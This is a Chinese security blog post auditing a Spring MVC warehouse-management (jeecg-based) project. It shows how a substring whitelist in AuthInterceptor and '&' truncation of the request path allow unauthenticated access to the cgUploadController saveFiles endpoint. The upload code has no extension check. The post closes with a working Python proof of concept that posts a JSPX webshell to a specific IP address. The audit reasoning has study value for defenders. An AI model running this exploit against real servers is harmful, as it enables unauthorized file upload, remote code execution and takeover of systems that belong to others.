JAVA的MVC项目未授权上传绕过链#

碰到spring老项目了

开始看看总调度器web.xml

1
<servlet>
2
        <description>spring mvc servlet</description>
3
        <servlet-name>springMvc</servlet-name>
4
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
5
        <init-param>
6
            <description>spring mvc 配置文件</description>
7
            <param-name>contextConfigLocation</param-name>
8
            <param-value>classpath*:spring-mvc.xml</param-value>
9
        </init-param>
10
        <load-on-startup>1</load-on-startup>
11
    </servlet>
12
    <servlet-mapping>
13
        <servlet-name>springMvc</servlet-name>
14
        <url-pattern>*.do</url-pattern>
15
    </servlet-mapping>
16
    <servlet-mapping>
17
        <servlet-name>springMvc</servlet-name>
18
        <url-pattern>*.action</url-pattern>
19
    </servlet-mapping>

定义了总调度器spring-mvc.xml，进一步查看，

并且只要有.do结尾全部丢入springMvc进行请求。

然后看spring-mvc的配置项

1
<mvc:interceptor>
2
            <mvc:mapping path="/**" />
3
            <bean class="org.jeecgframework.core.interceptors.AuthInterceptor">
4
                <property name="excludeUrls">
5
                    <list>
6
                        <value>loginController.do?goPwdInit</value>
7
                        <value>loginController.do?pwdInit</value>
8
                        <value>loginController.do?login</value>
9
                        <value>loginController.do?logout</value>
10
                        <value>loginController.do?changeDefaultOrg</value>
11
                        <value>loginController.do?login2</value>
12
                        <value>loginController.do?login3</value>
13
                        <value>loginController.do?checkuser</value>
14
                        <value>loginController.do?checkuser=</value>
15
                        <value>repairController.do?repair</value>
16
                        <value>systemController.do?saveFiles</value>
17
                        <value>repairController.do?deleteAndRepair</value>
18
                        <value>userController.do?userOrgSelect</value>
19
                        <!--移动图表-->
20
                        <value>cgDynamGraphController.do?design</value>
21
                        <value>cgDynamGraphController.do?datagrid</value>
22
                        <value>cgDynamGraphController.do?datagrid</value>
23
                        <value>rest/wvGiNoticeController/search</value>
24
                        <value>rest/tokens/login</value>
25
                        <value>rest/wmToDownGoodsController</value>
26
                        <value>rest/wmToUpGoodsController</value>
27
                        <value>rest/wmInQmIController</value>
28
                        <value>rest/wvNoticeController</value>
29
                        <value>rest/wvGiController</value>
30
                        <value>rest/mdGoodsController</value>
31
                        <value>rest/wvStockController</value>
32
                        <value>rest/wmSttInGoodsController</value>
33
                        <value>rest/wmToMoveGoodsController</value>
34
                        <value>rest/wmBaseController/showOrDownqrcodeByurl</value>
35
                        <!-- 菜单样式图标预览 -->
36
                        <value>webpage/common/functionIconStyleList.jsp</value>
37

38
                    </list>
39
                </property>
40
                <property name="excludeContainUrls">
41
                    <list>
42
                        <value>systemController/showOrDownByurl.do</value>
43
                        <value>wmsApiController.do</value>
44
                    </list>
45
                </property>
46
            </bean>
47
        </mvc:interceptor>

这里给类org.jeecgframework.core.interceptors.AuthInterceptor添加了属性

excludeUrls以及excludeContainUrls。以及这里也配了很多list

因为看到鉴权的AuthInterceptor。

就可以有意识打打接口，直接跟进

1
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object object) throws Exception {
2
      String requestPath = ResourceUtil.getRequestPath(request);
3
      if (requestPath.matches("^rest/[a-zA-Z0-9_/]+$")) {
4
         return true;
5
      } else if (this.excludeUrls.contains(requestPath)) {
6
         return true;
7
      } else if (this.moHuContain(this.excludeContainUrls, requestPath)) {
8
         return true;

核心在于AuthInterceptor的子类prehandler中，这里的精确匹配属性值在xml配给

原意是xml所声明的文件可访问，但是只要带上符合的value就可以访问，是包含的关系

现在生出两个想法，在我知道这个项目存在uploadfile前提的情况下，可以利用的点

就是上传webshell绕过检测，但是具体走哪一条绕过检查

得进一步看函数对传进的路径处理，跟进getRequestPath

1
public static String getRequestPath(HttpServletRequest request) {
2
      String queryString = request.getQueryString();
3
      String requestPath = request.getRequestURI();
4
      if (StringUtils.isNotEmpty(queryString)) {
5
         requestPath = requestPath + "?" + queryString;
6
      }
7

8
      if (requestPath.indexOf("&") > -1) {
9
         requestPath = requestPath.substring(0, requestPath.indexOf("&"));
10
      }
11

12
      requestPath = requestPath.substring(request.getContextPath().length() + 1);
13
      return requestPath;
14
   }

总结来说，以?截断和以&截断，如果存在&直接按照&截断，那样我们就可以直接打upload的未授权

也就是拼接处upload?wmsApiController.do&xxxx这样的路径，

处理之后就是upload?wmsApiController.do，

存在wmsApiController.do，直接放行到upload的接口，

并且这里不存在进一步鉴权，那就直接看upload的接口

1
@Controller
2
@RequestMapping({"/cgUploadController"})
3
public class CgUploadController extends BaseController {
4
   private static final Logger logger = Logger.getLogger(CgUploadController.class);
5
   @Autowired
6
   private SystemService systemService;
7
   @Autowired
8
   private CgUploadServiceI cgUploadService;
9

10
   public CgUploadController() {
11
   }
12

13
   @RequestMapping(
14
      params = {"saveFiles"},
15
      method = {RequestMethod.POST}
16
   )
17
   @ResponseBody
18
   public AjaxJson saveFiles(HttpServletRequest request, HttpServletResponse response, CgUploadEntity cgUploadEntity) {
19
      AjaxJson j = new AjaxJson();
20
      Map<String, Object> attributes = new HashMap(1024);
21
      String fileKey = oConvertUtils.getString(request.getParameter("fileKey"));
22
      String id = oConvertUtils.getString(request.getParameter("cgFormId"));
23
      String tableName = oConvertUtils.getString(request.getParameter("cgFormName"));
24
      String cgField = oConvertUtils.getString(request.getParameter("cgFormField"));
25
      if (!StringUtil.isEmpty(id)) {
26
         cgUploadEntity.setCgformId(id);
27
         cgUploadEntity.setCgformName(tableName);
28
         cgUploadEntity.setCgformField(cgField);
29
      }
30

31
      if (StringUtil.isNotEmpty(fileKey)) {
32
         cgUploadEntity.setId(fileKey);
33
         cgUploadEntity = (CgUploadEntity)this.systemService.getEntity(CgUploadEntity.class, fileKey);
34
      }
35

36
      UploadFile uploadFile = new UploadFile(request, cgUploadEntity);
37
      uploadFile.setCusPath("files");
38
      uploadFile.setSwfpath("swfpath");
39
      uploadFile.setByteField((String)null);
40
      cgUploadEntity = (CgUploadEntity)this.systemService.uploadFile(uploadFile);
41
      this.cgUploadService.writeBack(id, tableName, cgField, fileKey, cgUploadEntity.getRealpath());
42
      attributes.put("fileKey", cgUploadEntity.getId());
43
      attributes.put("viewhref", "commonController.do?objfileList&fileKey=" + cgUploadEntity.getId());
44
      attributes.put("delurl", "commonController.do?delObjFile&fileKey=" + cgUploadEntity.getId());
45
      j.setMsg("操作成功");
46
      j.setAttributes(attributes);
47
      return j;
48
   }

初步一看，并没有任何鉴权和黑名单，也就是完全依赖于拦截器的校验

获取表单的fileKey，cgFormId，cgFormName，cgFormField参数

并且不写数据库uploadFile.setByteField((String)null);

继续跟进函数uploadfile

1
public Object uploadFile(UploadFile uploadFile) {
2
      Object object = uploadFile.getObject();
3
      if (uploadFile.getFileKey() != null) {
4
         this.updateEntitie(object);
5
      } else {
6
         try {
7
            uploadFile.getMultipartRequest().setCharacterEncoding("UTF-8");
8
            MultipartHttpServletRequest multipartRequest = uploadFile.getMultipartRequest();
9
            ReflectHelper reflectHelper = new ReflectHelper(uploadFile.getObject());
10
            String uploadbasepath = uploadFile.getBasePath();
11
            if (uploadbasepath == null) {
12
               uploadbasepath = ResourceUtil.getConfigByName("uploadpath");
13
            }
14

15
            Map<String, MultipartFile> fileMap = multipartRequest.getFileMap();
16
            String path = uploadbasepath + "/";
17
            String realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath("/") + "/" + path;
18
            File file = new File(realPath);
19
            if (!file.exists()) {
20
               file.mkdirs();
21
            }
22

23
            if (uploadFile.getCusPath() != null) {
24
               realPath = realPath + uploadFile.getCusPath() + "/";
25
               path = path + uploadFile.getCusPath() + "/";
26
               file = new File(realPath);
27
               if (!file.exists()) {
28
                  file.mkdirs();
29
               }
30
            } else {
31
               realPath = realPath + DateUtils.getDataString(DateUtils.yyyyMMdd) + "/";
32
               path = path + DateUtils.getDataString(DateUtils.yyyyMMdd) + "/";
33
               file = new File(realPath);
34
               if (!file.exists()) {
35
                  file.mkdir();
36
               }
37
            }
38

39
            String entityName = uploadFile.getObject().getClass().getSimpleName();
40
            if ("TSTemplate".equals(entityName)) {
41
               realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath("/") + ResourceUtil.getConfigByName("templatepath") + "/";
42
               path = ResourceUtil.getConfigByName("templatepath") + "/";
43
            } else if ("TSIcon".equals(entityName)) {
44
               realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath("/") + uploadFile.getCusPath() + "/";
45
               path = uploadFile.getCusPath() + "/";
46
            }
47

48
            String fileName = "";
49
            String swfName = "";
50

51
            for(Map.Entry<String, MultipartFile> entity : fileMap.entrySet()) {
52
               MultipartFile mf = (MultipartFile)entity.getValue();
53
               fileName = mf.getOriginalFilename();
54
               swfName = PinyinUtil.getPinYinHeadChar(oConvertUtils.replaceBlank(FileUtils.getFilePrefix(fileName)));
55
               String extend = FileUtils.getExtend(fileName);
56
               String myfilename = "";
57
               String noextfilename = "";
58
               if (uploadFile.isRename()) {
59
                  noextfilename = DateUtils.getDataString(DateUtils.yyyymmddhhmmss) + StringUtil.random(8);
60
                  myfilename = noextfilename + "." + extend;
61
               } else {
62
                  myfilename = fileName;
63
               }
64

65
               String savePath = realPath + myfilename;
66
               String fileprefixName = FileUtils.getFilePrefix(fileName);
67
               if (uploadFile.getTitleField() != null) {
68
                  reflectHelper.setMethodValue(uploadFile.getTitleField(), fileprefixName);
69
               }
70

71
               if (uploadFile.getExtend() != null) {
72
                  reflectHelper.setMethodValue(uploadFile.getExtend(), extend);
73
               }
74

75
               if (uploadFile.getByteField() != null) {
76
               }
77

78
               File savefile = new File(savePath);
79
               if (uploadFile.getRealPath() != null) {
80
                  reflectHelper.setMethodValue(uploadFile.getRealPath(), path + myfilename);
81
               }
82

83
               this.saveOrUpdate(object);
84
               if ("txt".equals(extend)) {
85
                  byte[] allbytes = mf.getBytes();
86

87
                  try {
88
                     String head1 = this.toHexString(allbytes[0]);
89
                     String head2 = this.toHexString(allbytes[1]);
90
                     if ("ef".equals(head1) && "bb".equals(head2)) {
91
                        String contents = new String(mf.getBytes(), "UTF-8");
92
                        if (StringUtils.isNotBlank(contents)) {
93
                           OutputStream out = new FileOutputStream(savePath);
94
                           out.write(contents.getBytes());
95
                           out.close();
96
                        }
97
                     } else {
98
                        String contents = new String(mf.getBytes(), "GBK");
99
                        OutputStream out = new FileOutputStream(savePath);
100
                        out.write(contents.getBytes());
101
                        out.close();
102
                     }
103
                  } catch (Exception var27) {
104
                     String contents = new String(mf.getBytes(), "UTF-8");
105
                     if (StringUtils.isNotBlank(contents)) {
106
                        OutputStream out = new FileOutputStream(savePath);
107
                        out.write(contents.getBytes());
108
                        out.close();
109
                     }
110
                  }
111
               } else {
112
                  FileCopyUtils.copy(mf.getBytes(), savefile);
113
               }
114

115
               if (uploadFile.getSwfpath() != null) {
116
                  reflectHelper.setMethodValue(uploadFile.getSwfpath(), path + FileUtils.getFilePrefix(myfilename) + ".swf");
117
                  SwfToolsUtil.convert2SWF(savePath);
118
               }
119
            }
120
         } catch (Exception var28) {
121
         }
122
      }
123

124
      return object;
125
   }

因为在默认配置中

basePath=“upload”; rename=true;

会保留拓展名可但是会重写文件名

这里拿到磁盘真实路径

1
String realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath("/") + "/" + path;

因为rename是为true的，所以走

1
if (uploadFile.isRename()) {
2
    noextfilename = DateUtils.getDataString(DateUtils.yyyymmddhhmmss) + StringUtil.random(8);
3
    myfilename = noextfilename + "." + extend;

虽然是8位随机字符串，但是我们未授权文件上传的时候是可以直接返回文件名的，少了文件名枚举的步骤了

同时因为存在数据库写回

writeBack(id, tableName, cgField, fileKey, realPath)

上传的字段也就不能瞎弄了，但是白盒给了sql文件，得以让我们有正确的表名可以填入

以下是POC

1
import requests
2

3
url = 'http://101.245.81.83:10019/jeewms/cgUploadController.do?wmsApiController.do&saveFiles'
4
data = {
5
    'cgFormId': '1',  # 可以使用一个存在的表单ID
6
    'cgFormName': 'cgform_uploadfiles',  # 正确的表名
7
    'cgFormField': 'CGFORM_FIELD'  # 文件内容字段
8
}
9

10
with open('exp.jspx', 'rb') as f:
11
    files = {
12
        'file': ('exp.jspx', f, 'application/octet-stream')
13
    }
14
    # 同时传递data和files参数
15
    res = requests.post(url=url, data=data, files=files)
16
    print(res.text)

上传jspx就可以直接打webshell了

推完链子的感触

还是得先从路由看起，如果没看路由的白盒还是过于抽象了

也许是自己审计能力的问题

在xml配置项也是有很多点可以继续跟进的

以上

萦梦sora~Nyaの安全Blog

JAVA的MVC项目未授权上传绕过链#